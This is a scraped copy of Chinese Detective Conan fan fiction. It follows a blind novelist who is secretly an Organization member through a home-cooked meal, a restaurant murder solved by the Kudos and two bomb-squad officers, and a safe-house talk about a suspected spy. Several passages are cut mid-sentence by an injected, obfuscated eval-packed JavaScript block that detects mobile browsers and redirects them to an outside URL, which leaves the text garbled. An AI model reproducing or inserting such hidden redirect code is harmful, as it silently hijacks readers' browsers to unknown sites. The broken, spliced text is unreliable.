切好的肉块被放在碗里,诸伏清浅根据调料瓶的排序抽出生抽,盐,鸡粉,淀粉,凭着感觉加进去搅拌腌渍。 松田阵平负责起锅烧油,清浅将手覆在锅面试探温度,温度够了直接将蒜末丢进去,惹得油星四溅。 清浅丝毫不慌,闻着空中被激发而出的蒜香味,指挥松田阵平将腌渍好的牛肉直接下锅翻炒。 “炒到什么时候?” “[你觉得能吃的时候。不确定的话直接用筷子戳开内里,完全变色就是熟透。]” 这个时候被盖起来醒面的面团也差不多了,清浅指挥萩原研二将面团擀平。形状他已经不抱有期待,只希望萩原研二能够将面团擀得厚薄均匀。 面饼戳孔透气,刷上酱料,铺上配料,最后撒上厚厚一层芝士碎,将其丢入预热好的烤箱自生自灭,清浅又开始指挥两人准备其他菜。 虽然过程手忙脚乱,但拆弹专家的精细操作和手指灵活度还是加了不少buff,一顿忙活下来三人坐上餐桌,看着桌上香气四溢的菜肴都有些不可思议。 这真的是我们做的?平常都靠楼下便利店速食和外卖生存的两位警官都有些不可置信。 他们试探性地夹一口菜,食材确认完全熟透,调味也算不错;披萨外在虽然不能够和外面的店家比,但面饼筋道,芝士浓郁,吃起来别有一番风味。 “小浅井,真的很厉害。”已经被便利店速食便当折磨许久的萩原研二和松田阵平很快就将桌上的菜一扫而空,真心实意地赞叹。 “[……毕竟我是自由职业者啊,当然能花时间去琢磨这些。警官先生们因为工作原因应该都是追求吃饭效率和便捷度的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168727|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧?尤其是最近接近年关。]” “所以那群炸弹犯也有业绩要冲吗?东京到底哪里来的这么多炸弹。”松田阵平将嘴里叼着的牙签咬得咯吱响,本来就像黑/帮老大的气质变得更吓人。 “谁知道啊……”hagi回想起这些天,他已经写报告写得不知天地为何物了。 萩原研二同样瘫在椅子上。前一阵子他没有出外勤,但积压在他办公桌上的报告已经达到一个很可观的数量。 就算他利用自己的社交手段将一部分分摊出去,加班加点写完后还是一阵恍惚,感觉他最近已经不想再碰任何有关报告的东西了。 “小浅井呢?最近一段时间还忙吗?”萩原研二看向同样在椅子上瘫着的蒙眼青年,“这一次采风的时间还真够长的。” 他们和小浅井已经认识两年了,但他们的交流时间并不多。 一方是爆处班的双子星,在犯罪率日渐提升的东京,他们的出勤率也在反人类地增加;一方是云游四方搜索灵感的大作家,在家中刷新的机率不高。 虽然他们和浅井尘留有联络方式,但他们的聊天记录…… 【萩原:小浅井~我和小阵平明天轮休,要一起出来玩吗?我找到一家超级好吃的店哦】 【浅井:[定位-美国加利福尼亚州]】 【萩原:小浅井~】 【浅井:[定位-加拿大渥太华]】 【萩原:~】 【浅井:[定位-法国米兰]】 怎么都是在国外啊!还有,你们这是聊天记录还是报点记录啊? 【浅井:我明天到家。】 【萩原:哇这么突然?我看看最近的调班……好耶大后天我轮休!】 【浅井:明天到家。】 【萩原:啊好可惜——明天我们有联谊会来着。下一次轮休要等到半个月后QwQ……我问问小阵平!】 【萩原:太好了小阵平这个周末有空!】 【浅井:家。】 【松田:萩那家伙要赶报告,我明天来。】 【浅井:。】 【萩原:明天一定到!】 ……搞得像卧底碰头似的。 “[忙啊,年底有谁不忙啊,就算是自由职业者也避不开赶KPI的命运。]”诸伏清浅回答,“[这次我还是偷偷回来的,不然编辑就要堵我门了。]” 年底不会放过任何一个打工人。就算诸伏清浅能在年底组织请到假,其他方面的事务也在折磨他。 竹内编辑仍然在乞求刀子精渡边影发点甜的东西,而《我想和你贴贴》这部漫画的负责编辑西本小姐上个月才邮件轰炸了一轮,一个星期后就是他的ddl。 而黑客道恩的身份…… 【你们公安真会使唤人。 ——from Dawn】 被各种请求协助砸的都快算公安的编外人员了。 “这一次打算在这里待多久?想见你一面可不容易。”浅井尘闻不了烟味,松田阵平忍不住又咬了咬嘴里的牙签。 “[这个月应该都会在这里,修一修稿子,《黄昏后的黎明》第四本也准备要交稿了。]” “……你这个刀子精我都不想说你。” “小浅井,你确保最后是HE对吧?” “[……对。]”亲朋好友是读者的弊端他早已深有感触。 “[说起来你们介意我拿你们作为原型参照创造角色吗?]” “我没问题,小浅井只要不用我们本名就行。”/“你保证HE就行。” “[……这大概是个BE故事。]” “……你小子,油盐不进是吧。” 45.出去吃饭吗 工藤新一晚上看见隔壁家的灯亮的时候还被吓了一跳,还以为浅井家里进贼了。 直到第二天在浅井家看到不那么熟悉的身影,他才松了口气。 “昨天晚上我看见你家的灯亮着,我还以为你家里有人进去了呢,毕竟家政阿姨不会晚上来工作。” 少年凑近正在浇花的浅井尘:“没想到是你回来了……需要帮忙吗?” “[没有人规定盲人不能开灯,新一君。还有,我前天就回来了。]” 蒙眼青年将水壶里的水全部淋到花圃的土壤上,确认水壶空了才放下,慢吞吞地摸出手机打字。 “[我已经完成了,就不劳烦新一君了。]” 好吧。 工藤新一耸耸肩,非常自然地跟着浅井尘进了家。 “浅井哥这段时间去了哪里?” “[哎呀,新一君没有推理出来吗?]” “谁,谁说我推理不出来!只是还需要一些时间而已…!” 工藤新一瞪大了他湛蓝色眼睛,视线在浅井尘身上来回扫射,片刻后又来回观察屋内的设施,试图发现一些有用的线索。 可恶……浅井哥这里也太干净了,要不是他知道对方有多长时间没回来,他都要以为对方只是离开了家一小段日子了。 那我希望你永远也推理不出来。 虽然听不见工藤新一的心声,但诸伏清浅还是在心里祈祷着与小侦探愿望相反的愿望。 组织的相关信息他是不愿意也不敢带来这里的,因此来之前他先去安全屋处理好一切,能邮寄的东西就邮寄,回来的时候直接两手空空,最大限度地将浅井尘和夏特勒兹的身份分割开。 虽然推理不出浅井尘去了哪里,但年仅12岁的工藤新一还是直到对方为什么回来。“浅井哥回来是因为第四部快要出版了吧?” “[这个对了,稿子已经拍板,我交给竹内编辑负责出版事宜了。]” 工藤新一有些失望,他以为他能提前看到第四部的内容呢。 “[不过样书已经做出来了,新一君要看看吗?]” “还是算了。”等待第四部正式发行再买也不错,一点时间他还是能够忍耐的。 ……然后半个月后第四部发行,熬夜看完的小侦探一大早就顶着黑眼圈站在浅井家门口,幽怨的视线如有实质地盯着出来开门的蒙眼青年。 其实《黄昏后的黎明》中副本的推理元素含量并不算太高,工藤优作也提醒过,这个系列其实并不太适合新一这个时候看。 但毕竟里面的政/治权/谋属于肮脏的大人世界,这个年纪的小新一可能还读不懂——虽然暗线埋的很深,不专门考究的话可能发现不了。 但这本书胜就胜在渡边影老师的文笔功底不错,文字吸引力十足,就连小孩子的工藤新一也能看懂明线的故事……有多刀。 “[咳,这都是剧情需要,剧情需要。]” “剧情需要什么,指的是新出一个角色然后让他死掉吗。” “[……这不是还活了一个嘛。]” “如果新出的反派活着也算活着的话。”您这反派团一个一个的加,主角团倒是一个一个地死啊。 “[活着不好吗?反派也是人嘛。]”浅井尘将小侦探迎进屋,给他倒了杯柳橙汁。 “[而且……我不认为他是反派。]” 工藤新一捧着杯子皱了皱眉:“……老爸也这么说。” 所谓的新反派名为桥本祈安,是与主角对立阵营里的一个知名杀手。 桥本祈安在小时候反杀了一名杀人凶手,出色的杀戮天赋与敏锐的感知力让他被发现并带走培养,很快就在圈子里出了名。 第四部的剧情里,他靠敏锐的感知力揪出了他所处组织里的卧底,在审讯对方后打断卧底的四肢,将他扔进十死无生的副本里自生自灭。 随着第四部发行的时间越久,估计会有更多的人加入对桥本祈安的讨伐大军吧。 工藤优作的评价是诸伏清浅没有预料到的,虽然他礼节性地将第四部的样书送了一本给对方,但看样子对方早就看出自己在书中埋下的伏笔。 “[新一君。]” 年纪尚小的侦探疑惑抬头,看见蒙眼青年伸手将剩下的柳橙汁放回冰箱,袖子因为他的动作落下一节,露出苍白瘦削的腕骨。 青年的嘴唇微微抿直,毫无感情的电子音透露不出丝毫主人的情绪。 “[所谓的正派反派,其实它们之间没有一个明确的界限,对此每个人都有不同的答案。 如果对这个故事抱有疑惑的话,就试着重读它吧。]” “……好吧,我会重读的。”虽然总觉得浅井哥话里有话,但暂时没有明白的工藤新一还是依言答应下来。 “哦对了,浅井哥要和我们一起去餐厅吃午饭吗?老妈抽奖抽中了四张免费试吃券,我们刚好能一起。” ……这家店真的能好好吃饭吗? 诸伏清浅沉默,诸伏清浅汗流浃背,诸伏清浅僵硬地敲下答应的谢辞。 “[……万分感谢,我很高兴能被邀请。]” * 餐厅的名字清浅没有打听,但从其刚开业的热闹程度来看,应该难吃不到哪里去。 他在迎宾小姐的礼貌问询中举着草稿板,表示自己已经有位,于是小姐引着他前往工藤一家定好的包厢。 工藤夫人依旧保留着当年当演员时的活力与开朗,热情地招呼诸伏清浅坐下。 “尘酱最近是不是没有好好吃饭?瘦了不少。”演员对身材的要求很高,眼光毒辣的有希子女士很快看出青年衣服下的空荡。 “[我有按时吃饭。]”诸伏清浅下意识反驳。 这个确实是真的。 组织成员因为高危任务三天吃两顿的情况不在少数,但因为夏特勒兹自身的体质问题,除了自己觉的饿出去觅食,他大部分时间的三餐吃药都是苏格兰负责监督。 不过松田和萩原见了面也说他瘦了。他写字的手顿了顿,本来要落下的笔划改了个弯儿。 “[……我真瘦了?]” “嗯嗯,”有希子女士连连点头以增加说服力,“下巴都尖了。” “是因为浅井哥最近生过病吧?”工藤新一凑近诸伏清浅袖口处嗅了嗅,“有感冒冲剂的味道。” 因为是属于浅井尘的痕迹,所以诸伏清浅没有特意抹除。但少年凑过来的动作还是让他的身体下意识僵硬一瞬。 压,压力山大。 “嘛,灵感迸发之时难以中断,即使是我也常常忘记吃饭。” 最后还是工藤优作来救场。低醇温厚的嗓音带着长辈特有的包容和温和,用委婉又不失温柔的方式劝诫诸伏清浅好好照顾自己。 有些事情一旦忙起来根本没有时间和心思好好吃饭……甚至“吃饭”一词都要换成比较冷酷的“进食”、“果腹”、“补充能量”。 但既然已经回来,就意味着一些事情已经告一段落了吧?希望你可以在这段时间好好休息一下。 语言是有力量的。 更何况诸伏清浅的听力敏锐,话语中的情绪被他一缕不差地收录入耳,很快就化作一阵暖意流遍四肢百骸,让他发冷的四肢在充满暖气的包厢内放松下来。 工藤优作是名柯里的智力天花板,以他的智商,或许第一次见面后对方就已经察觉到自己的身份。 是确认过自己的危险性不足为惧,对自己释放善意了吗?还是说这只是一种交流的策略? 诸伏清浅不知道。他不擅长推理,他不知道坐在他对面的男人脑子里到底在想些什么。 但。 这种长辈的无声关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184522|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀,对十多年组织生涯的清浅来说,完全属于稀有级别。 “[……谢谢,我会注意的。]” 纵使内心波澜迭起,笔尖落下的字句依旧简洁克制。但文字蕴含的力量想必已经将他的心情传递出去,因为他听到了对方一声温柔的轻笑。 工藤优作作为一个世界级的推理小说家,年长者的阅历是与诸伏清浅在社会阴暗面长大的阅历是不同方向的丰富。 工藤优作的阅历像木桶里的陈酿,在时间的沉淀后形成独特的醇厚; 诸伏清浅的阅历就像新酒,前世平庸忙碌的普通生活与今世硝/烟血/腥的步步惊心混杂在一起,新酒原料本身的甜香与辛辣的酒精混合,矛盾又复杂,又因为超前时间线的先进思想的加入而形成独一无二的风味。 两个作家坐在一起,两种不同类型的知识储备碰撞出的话题简洁却深刻,一句话套着两三层意思都能够被双商都不错的对方理解。 开了倍速的聊天在旁人看来简直就是听天书,工藤有希子见两人聊的开心就转身催促同样跟不上节奏的儿子先吃饭,开玩笑道不要给他们留。 “如果根据剧情发展,桥本祈安这个角色的结局你打算怎么设置?” 熟悉的名字被提及,工藤新一抬起头来,措不及防地瞪大眼睛。 什么?要剧透吗?! “[工藤先生不是已经猜到了吗。]” 什么?老爸已经猜到了?! 工藤新一扭头看向面不改色的老爸。 “不,我并不知道。”罕见的,工藤优作摇了摇头,给自己重新添了一杯茶水。 “事实上浅井君也没有决定好吧?” 这倒是真的。 桥本祈安的塑造并不像他的同事一样极端,他拥有一套矛盾的行动原则——除开杀人这一工作,他在日常的表现简直就是三好市民。 他的结局到底是一黑到底还是中途洗白,现在还真的说不准。 “[嘛……看情况吧,桥本君有自己的想法,我只是负责把这个故事记录下来罢了。]” “这样吗……那我希望这个结局能够如他所愿。” 诸伏清浅夹了一块玉子烧放进嘴里,笑了笑没有回答这句话。 如愿的结局啊……希望如此吧。 “啊啊啊啊——!!” 尖叫声如锥子刺入耳膜,吓得诸伏清浅浑身一抖,夹起的丸子随之掉回汤里。 工藤一家的听力没有清浅的这么变态,但包厢外的骚动还是让他们有些担忧。 “喂喂,怎么回事?” “不知道,好像出事了!” “什么?有人死了?!” “好像是在洗手间……地上有好多血。” 包厢外的讨论声此起彼伏,这下是工藤一家也能听清的程度。 “……我去看看。”工藤优作站起身,推了推鼻梁上的黑框眼镜。 “等等,我也要去!” 年幼的侦探也跳下椅子,跟着父亲出了包厢,留下来不及阻止的棕发女士和筷子依旧悬在汤上的蒙眼青年。 “[……我们也去看看吧?]” 诸伏清浅放弃了重新在汤里打捞丸子的想法,放下筷子和有希子女士提议。 有希子女士自是应下,她还是有些不放心小新。 “警察,从现在开始请在场的所有人不许进入洗手间。” 欸? 推开包厢门,熟悉的声音让诸伏清浅呆愣一下。 松田阵平戴着本体墨镜往出事的洗手间门口一站,独特的气势震慑住前来看热闹的人。 萩原研二则是举着警察证件安抚控制现场。 “在搜查一课的警察来到之前,所有人——” “禁止出入这家餐厅。” ……命案,虽迟但到。 46.案子 这下稳了。 爆处双子星加上工藤一家,这下什么案子破不掉? [安心躺赢.jpg] 萩原研二当然发现了不远处的蒙眼青年,但职务在身,他也不好现在过去打招呼。 松田阵平在“吓唬”完周围的人不许靠近后重新回到案发现场。 被害人倒在洗手间的隔间里,隔间的门大开着,直接就能看到里面靠在马桶上的尸体和插在他胸口的利刃,以及地上一滩吓人的血迹。 “嗯……死亡时间很短。” “餐厅及时封锁住了,凶手大概还在餐厅里。” “刀应该是厨房会用的剔骨刀,能拿到刀的话……厨师?服务员?” 松田阵平脚步一顿,只见一个儒雅男子凑近尸体观察,甚至上手翻弄。和他外貌极为相似的小孩在一旁上蹿下跳,脆声回应了男人的自说自话。 松田阵平:? 这两个家伙是怎么进来的?! “喂,你们两个——”他大步朝两人走去,“闲杂人等给我立刻离开现场!” “啊,这位警官。”工藤优作站起身来,示意自己手上的手套。“我有做好措施,绝对没有破坏现场。” ……谁问你这个了。 松田阵平气结,抬手指着12岁的小孩:“带着个孩子进案发现场?” 卷发警官戴着墨镜,黑/帮大佬般的气势让他看起来格外不好惹。 虽然气质特殊,但从站姿以及保护现场的熟练度来看确实是警察……不是刑警,手上有茧子,是从事精细操作的工作……拆弹警察?应该是今天休息,来餐厅吃午饭的。 工藤优作只是和搜查一课的警察比较熟,爆处组确实不在他的交友范围……现在还是乖乖出去吧,反正现场已经被保护起来,等搜一的警官先生们到再去观察现场也不迟。 于是这位大作家和自家儿子对视一眼,自知理亏地退出洗手间。 搜查一课的出警效率依旧在线,很快诸伏清浅的老熟人目暮十三就带队抵达餐厅。 “咦,萩原老弟和松田老弟也在啊……啊,工藤老弟!” 集齐三位老弟的目暮警官双眼一亮,和诸伏清浅一样心想——今天这起案件稳了啊! 工藤优作笑着上前打招呼,在提出想要进案发现场看看的请求后目暮警官爽快同意。 “让那位先生进去真的没问题吗?”萩原研二在和同事复述完当时的现场情况后问目暮警官。 “啊,萩原老弟你是爆处班的有所不知,工藤老弟算得上是我们的顾问,经常协助我们破案。” 目暮警官看上去非常自豪这么一个外援。 见人家搜一都没说什么,松田阵平挑挑眉,自然不会再拦着工藤优作,只是点点头示意。 “抱歉,刚才是工作需要。” 工藤优作当然理解这位警官的尽职尽责,同样点头示意。 然后松田阵平准确地按住同样打算进去的工藤新一的脑袋:“但小鬼你不能进去。” “可是——” “小孩进案发现场像什么样。” 工藤优作……工藤优作选择看不见儿子的控诉。 * 既然是他杀,那么大概率不是被害者有问题(导致仇杀情杀),就是犯人有问题(脑子有病)。 在排除掉大部分无关人员后,在萩原松田以及工藤优作的推理讨论下筛选出三个最有可能下手的嫌疑人。 厨师藤原建一,服务员高桥美咲,以及与死者本田少郎一同前来的吉原本树。 三选一是齐了,但…… 密码的,吉原本树,为什么朗姆的手下会在这里。 诸伏清浅心里暗骂,幸好他和有希子女士站的位置比较远,对方并没有发现夏特勒兹也在场。 他悄悄打字:“[有希子女士,我可以先回包厢休息吗?]” “欸?” 清浅指了指自己的耳朵,“[人有些多,太吵了。]” 工藤有希子知到盲人的听力会更加敏感,自无不可地陪着清浅先回包厢。 ……虽然可能性不大,但在案子结束前,还是回避一下吧。 诸伏清浅暗自打开系统面板, 可不能让朗姆发现夏特勒兹和工藤家的联系。 * 被害人胸口处那道一刀毙命的伤口令人在意,凶手对人体结构比较熟悉,而且被害人有死前吸入乙/醚的痕迹。 能被诸伏清浅记住的家伙身份自然不容小觑,吉原本树是朗姆手下比较好用的成员,虽然能力不算突出,但绝对是组织中层人员中排得上号的存在。 他应该不会犯这么明显的杀人案件。 厨师?饭点时间厨师忙得不可开交,怎么可能有时间跑来杀人……而且一身厨师服进入洗手间应该很明显吧? 虽然藤原建一被证实确实从后厨消失了一会儿,他与死者也确实有些经济上的冲突。 最大的嫌疑是服务员高桥美咲,服务员进入洗手间很正常。虽然女服务员进男厕……咳,但确实没有目击者看见她进了去。 根据三人提供的证词,萩原松田和工藤优作其实都大致猜出真凶的身份,只需要找到关键证据就好。 整件事看上去蓄谋已久,但实际上完完全全属于临时起意。高桥美咲小姐曾在兼职时与死者发生了冲突,但死者死缠烂打并不愿意就此揭过,导致美咲小姐丢掉了那份时薪不错的兼职,生活费差点断掉。 美咲小姐原本以为那只能算是她倒霉,结果在餐厅打工的今天又碰到死者。 仇人见面分外眼红,更不要说死者还当场调/戏对方,声称要投诉美咲小姐再次让她失业。 于是美咲小姐一怒之下从后厨捞了把刀,加上防身用的乙/醚送人归西。 ……只能说是死者自作自受。 但杀了人就是杀了人,无论如何都得接受法律的判决。找到决定性证据后,美咲小姐在求锤得锤后承认了自己的冲动犯案,自此搜一收队返回。 蛮简单的案子,毕竟冲动之下很多证据都来不及销毁。松田阵平打了个哈欠,问和搜一同事告完别的萩原研二。 “还吃吗?还是直接回去?” “不吃了吧……发生了这种事,小阵平还有胃口吗?” 一想到好好的休假变成加班,到时候回警视厅还要为此写多一份报告…… “就算有胃口也变得没胃口了好吧。” 说的也是。萩原笑着将胳膊搭在他肩上,“不过我刚刚看见小浅井也在,要去打个招呼吗?” 浅井…浅井尘?他也在?刚刚也没看到他啊? “小浅井好像是跟着工藤先生他们一起来的。我留意了一下,应该是现场太吵,小浅井回包厢里休息了。” “打扰一下……” 说话间谈及的人开了口,两位警官扭头看向带着孩子的男人。 工藤优作从目暮警官口中得知了这两位爆处班的双子星,从他们的对话不难得知他们也认识浅井尘。 “你们也认识浅井君吗?” 虽然知道这起案子会是工藤家和警校组的会晤契机,但没想到自己也是契机之一。 当工藤优作和工藤新一带着两位警官来包厢和自己打招呼时,诸伏清浅有一瞬间想着系统一定要给自己颁发个成就。 “啊对了,小浅井。” 和工藤一家寒暄完的萩原研二突然想起来,“今早我和小阵平去逛模型店的时候发现附近的周边店上新了。” 诸伏清浅忍不住坐直身子:“[你们常去的模型店……杯户町那边?杯户商场吗?]” “嗯嗯,假面超人最新一期的卡牌,他们补货了。” “不过我不建议你现在去。”松田阵平冷漠打击,“你别忘了周边店隔壁就是书店,你的新书最近很畅销。”所以想要打你的人不在少数。 听懂了松田弦外之音的诸伏清浅强装镇定捧茶杯:“[出版社那边应该没有把我的外貌信息抖露出去,应该没人能够认出我。]” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16195184|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我现在就能打你一拳。” “[哇,真可怕。]” 萩原研二笑着将手里一直提着的礼品袋递出,“嘛嘛,所以为了防止某位大作家出去被打,我们可是帮你把最后一盒盲盒卡牌买下了哦?” “[那真是太感谢了,回头钱打你账上,萩原先生。]” 因为没有计划,诸伏清浅除了出来和工藤一家吃个饭,是打算这些天一直做个家里蹲的。 于是吃完饭的六人离开餐厅,朝着米花町二丁目慢慢走去。 工藤一家准备回家,萩原松田两人打算去浅井尘家拆卡——正好清浅从意大利寄了几个趣味模型回来,松田早就对诸伏清浅客厅置物架上那几盒未拆封的模型垂涎许久。 路上因为萩原研二的存在并不无聊,在有个走在潮流前沿的姐姐影响下,他和有希子女士聊得还算不错。 松田阵平则是意外的和小孩子的工藤新一聊得来……额,吵得来。 ……为什么?他到底是怎么做到的? 对主角依旧抱有敬畏之心的诸伏清浅表示很羡慕松田君。 “好啦好啦,小阵平你也真是的,竟然能和小孩子吵起来。” “谁是小孩子啦!”/“我哪里和他吵了,我在单方面欺负他。” ……孩子的父母就在这里哦? 诸伏清浅不知道为什么会感到心累,但想了想他又释怀了。 毕竟这可是原著里见不到的画面,萩原和松田的存活就是剧情已经被改变的最有力证据。 希望能够一直顺利下去……算了,感觉在立flag,忘掉忘掉。 轰! 突如其来的一声爆炸声震得诸伏清浅出现[眩晕debuff],不由自主地后退踉跄两步,被一直关照着他走路的工藤优作扶住。 清浅被碰到时僵了一下,很快放松下来道了声“谢谢”。他忍不住朝发声的方向探头,虽然他什么也看不到。 “咳,咳……” 烟尘散去,露出住宅被炸塌的围墙,蓄着胡子的发明家狼狈地爬起来,拍了拍脏兮兮的白大褂。拍下来的尘土又忍不住让他呛咳一声。 “……博士,你又失败了啊。”新一故作老成地双手叉腰,叹了口气。 阿笠博士,另一位住在工藤家隔壁的邻居,是一位发明家。 “啊,哈哈……”阿笠博士挠了挠头,碰到了被爆炸波及而卷曲的头发。“我以为这次会成功来着……哎呀,新一你们家有客人来啊。” 他看到了工藤一家身后的萩原松田清浅三人。 “客人算不上,但……”松田阵平将脸上的墨镜取下别在领口处,凫青色的眸子充满探究。 “老人家这是在做什么?” 老,老人家?虽然阿笠博士的样貌可能显老,但人家今年应该才47岁? 没人理会诸伏清浅飘忽的思绪,阿笠博士听见别人提及自己的发明就忍不住滔滔不绝。 “你说这个啊?”他从坑里(坑里?)拔出还在冒黑烟的不知名机器,“是我研发的一款推进器……” 啊,机械什么的。 诸伏清浅突然反应过来,回过神时两位拆弹警察已经凑过去和阿笠博士一块研究对方手里的东西。 “这一块烧掉了。” “材料不够坚固吧?弹簧太细了支撑不住这么强的推进力。” 松田阵平已经上手摆弄那块机器,甚至从裤兜里掏出螺丝起子开始拆卸坏掉的部件。 ……机械什么的话,萩原松田和阿笠博士相处一定会很愉快。 “对了,阿笠先生在家里做这些实验有和警视厅报备吗?” “啊……啊?”发明家显然愣住。 “涉及易燃易爆品的实验是需要向警视厅报备的。”萩原研二委婉地扫视一圈周围的狼藉,“而且要配合警方完善安全措施。” “毕竟我们多少是负责这方面的安全检测。” 爆处班双子星的职业习惯在爆炸发生的时候已经被激发出来了。 47.分析 虽然夏特勒兹请了一个月的假期,但组织实际上并没有休假这一概念,里面奉行的是007工作制,不工作的时候随时待命。 夏特勒兹所谓的“请假”,其实就是“暂停服务”,将他手中的事务扔出去给别人干。 ……哈哈,苦了仍在加班的琴酒、突然忙起来的情报人员波本以及身为夏特勒兹下属承担了大部分迁怒导致任务增多的苏格兰。 “最近的任务好多——” 确认没有任何尾随和监视监听后,降谷零紧绷的神经总算松了些许,倒在安全屋的沙发上瘫着不动了。 手里的任务总算告一段落,找出时间和幼驯染碰面的诸伏景光揉了揉眉心,从厨房泡了两杯浓茶给降谷零和自己提神。 “……这种情况还要持续一个月。” 而行动组和情报组任务的增多,仅仅是因为夏特勒兹请了假。 “算是变相体会到夏特勒兹在组织里掌握着多大权利了。”降谷零坐起身,打开茶几上的笔记本电脑调出自己的任务清单。 诸伏景光凑过去看了眼,被情报人员任务的零碎繁琐程度震撼到。“所以zero你们平常的任务都是这么麻烦的吗。” “嘛……简单倒是挺简单,但麻烦是真的,很耗时间。” 难怪夏特勒兹光是在安全屋待一整天用电脑处理文件都累得不行。 “hiro呢?hiro你的胡子已经好几天没刮了吧。” “这个嘛……”诸伏景光闻言下意识摸了摸自己下巴的胡子,确实有点扎手。“我原以为琴酒的任务已经够多了,直到前几天我碰见伏特加。” 伏特加在组织基地的走廊碰到苏格兰时都快哭了,大块头往苏格兰身边一凑就小声吐槽,说因为夏特勒兹请了假,他和大哥的任务清单又翻了快一倍,他都没时间去周边店买渡边影老师的新书和冲野洋子的周边海报。 降谷零默然。“那hiro的任务……” “啊,被迁怒了。”加班许久的诸伏景光苦笑,“而且据我所知,这些任务其实只是夏特勒兹手上不太重要的一部分。” 惨,大家都太惨了。 “只是关于这一点,倒让我有些弄不明白夏特勒兹的定位在哪里了。”降谷零眉头紧锁。 从夏特勒兹和琴酒的相处来看,他们似乎是同级关系,地位比较平等。 但从知名度来看,夏特勒兹显然不如琴酒活跃,但这一次请假事件后任务量的增加又告诉他,夏特勒兹的活跃绝对不比琴酒少。 可夏特勒兹的名声和情报不应该这么少,是因为夏特勒兹以前在国外活动的原因吗? 从意大利得来的情报分析,夏特勒兹常驻日本应该也有两三年的时间了,可波本进入组织堪堪一年,人们对他的讨论度都比夏特勒兹高。 为什么? “……我想,这个问题我大概知道。” 诸伏景光的声音唤回降谷零的注意。 虽然代号成员表面上算是同等级别,但组织的代号成员不少,总会有个亲疏从属关系。 就像波本属于朗姆下属,苏格兰属于夏特勒兹下属,莱伊属于琴酒行动组的成员,归琴酒管。 “夏特勒兹和琴酒、朗姆、贝尔摩德一样直接听从boss调遣,他和我说过,boss并不希望他发展派系。” 哦?这倒是一个有意思的情报。 中立派……制衡吗。 也对,琴酒是行动组的组长,管理调遣行动组成员;朗姆身为组织二把手,在情报组的话语权极大;贝尔摩德比较特殊,她和boss似乎有更为特别的关系,拥有随意调用行动组和情报组的权利。 夏特勒兹……上能接行动组的潜入任务,在国外获得“影子杀手”的称号以一挑八;下能干情报组的活,拥有自己的庞大情报网,一小时能将科斯塔家族的机密资料拿到手。 夏特勒兹的兼容性很好,很适合站在中间制衡。 “关于夏特勒兹的更多情报,我倒是想起一个突破口。” 欸?降谷零诧异,“需要我帮忙吗?” “这个还是我自己来吧,波本不太适合出面。” 好吧。既然hiro有自己的打算,降谷零就不打算劝,只是提醒他注意安全。 “说起来这一次hiro为什么这么急和我见面?” 诸伏景光罕见地沉默许久,然后抛出一个重磅炸弹。 “我怀疑莱伊是卧底。” 噗——咳咳! 谁?谁是卧底?莱伊是卧底?! “这是什么新型笑话……”被吓到口水呛住的降谷零瞪大了他紫灰色的眼睛。“就莱伊那种把里世界当作故乡的从容感,根本不像演的。” 莱伊加入组织的契机是碰瓷,和底层人员谈恋爱,又恰好展露出狙击的天赋挑衅琴酒,顺势留下获得代号……这家伙浑身上下都写着“我有问题”,组织虽然有所怀疑,但组织就是吃这套。 哪有卧底选择这么可疑的卧底方式啊,傻的吗。 太张狂了。和寻常卧底隐忍潜入,步步为营的模式不能说相似,只能说是毫不相干。 诸伏景光和他说了当初在车站站台发生的事。 “那孩子真的和莱伊长得很像。” 家属吗……确实是一个很可疑的点。 但就算莱伊真是卧底,那也绝对不可能是他们日本公安的卧底。 其他国家的情报部门吗?FBI?CIA?MI6? “……我会让公安去查的。”虽然范围太过宽泛,可能短时间内查不到什么东西。 虽然卧底是一种可能性,但莱伊那家伙身上的犯罪气息也太过浑然了……根本想象不出对方卧底前的一身正气……嘶,好恶心。 不是卧底的话迟早抓进局子,是卧底的话……擅自进入别人的国家执法,能是什么好东西? 公安头子降谷零感到一阵牙酸。 “……还有,我想查一查夏特勒兹的身份。”诸伏景光这一次的语气更为迟疑,这个决定似乎是纠结许久才定下的。 “虽然几率不大,但我认为夏特勒兹拥有策反的可能性。” * 茶杯在降谷零唇边停滞,热气瞬间模糊了他紧缩的瞳孔。片刻的静默后,陶瓷茶杯与茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 